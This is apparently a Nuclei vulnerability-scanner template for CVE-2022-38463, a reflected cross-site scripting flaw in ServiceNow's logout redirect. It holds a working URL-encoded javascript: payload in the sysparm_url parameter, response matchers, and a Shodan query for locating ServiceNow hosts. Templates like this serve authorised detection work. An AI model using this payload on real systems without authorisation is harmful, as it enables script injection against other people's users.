id: CVE-2022-38463

info:
  name: ServiceNow - Cross-Site Scripting
  author: amanrawat
  severity: medium
  description: |
    ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.
  remediation: |
    Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38463
    cwe-id: CWE-79
    epss-score: 0.00141
    epss-percentile: 0.49624
    cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query: http.title:"ServiceNow"
  tags: cve,cve2022,servicenow,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "top.location.href = 'javascript:alert(document.domain)';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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